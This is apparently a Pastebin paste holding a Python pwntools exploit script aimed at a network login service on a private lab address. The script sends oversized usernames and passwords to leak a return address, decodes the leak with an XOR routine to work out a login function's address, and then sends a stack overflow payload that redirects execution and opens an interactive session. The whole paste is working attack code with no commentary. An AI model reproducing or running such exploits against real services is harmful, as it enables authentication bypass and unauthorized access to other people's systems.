Advertisement
Guest User

horac

a guest
Jan 11th, 2017
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.18 KB | None | 0 0
  1. from pwn import *
  2.  
  3. import struct
  4.  
  5. conn = remote('192.168.56.104',6642)
  6.  
  7. data = ''
  8.  
  9. username = ''
  10. password = ''
  11.  
  12.  
  13. def xoraddr(addr,val):
  14.     result = '0x'+''.join([hex(int("0x"+addr[x:x+2],16) ^ val)[2::] for x in xrange(0,len(addr),2) if x != 0])
  15.     return result
  16.  
  17. val = 0x03
  18.  
  19. i = 3
  20. while(i > 0):
  21.  
  22.     if i == 3:
  23.         username = "A" *32
  24.         password = "B" *32
  25.         val = 0x03
  26.  
  27.     if i == 2:
  28.         username = "A"*20+p32(int(unxored_leak,16))+"A"*8
  29.         password = "B"*20+p32(int(unxored_login,16))+"B"*8
  30.     if i == 1:
  31.         conn.interactive()
  32.  
  33.     print conn.readuntil("Enter your username:")
  34.     log.info("Sending %s username",username)
  35.     time.sleep(1)
  36.     conn.sendline(username)
  37.  
  38.     print conn.readuntil("Enter your password:")
  39.     log.info("Sending %s password",password)
  40.     conn.sendline(password)
  41.     time.sleep(1)
  42.    
  43.     data = conn.readuntil('\n')
  44.  
  45.     if len(data) >=120:
  46.         ret = data[116:120]
  47.  
  48.     if i == 3:
  49.         log.info("Leaked code section => RET %s:", hex(u32(ret)))
  50.         unxored_leak = xoraddr(hex(u32(ret)),val)
  51.         log.info("Unxored leak RET: %s",unxored_leak)
  52.         unxored_login = xoraddr(hex(int(unxored_leak,16)-1162),val)
  53.         log.info("Unxored login addr %s",unxored_login)
  54.  
  55.  
  56.     i -= 1
  57. conn.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement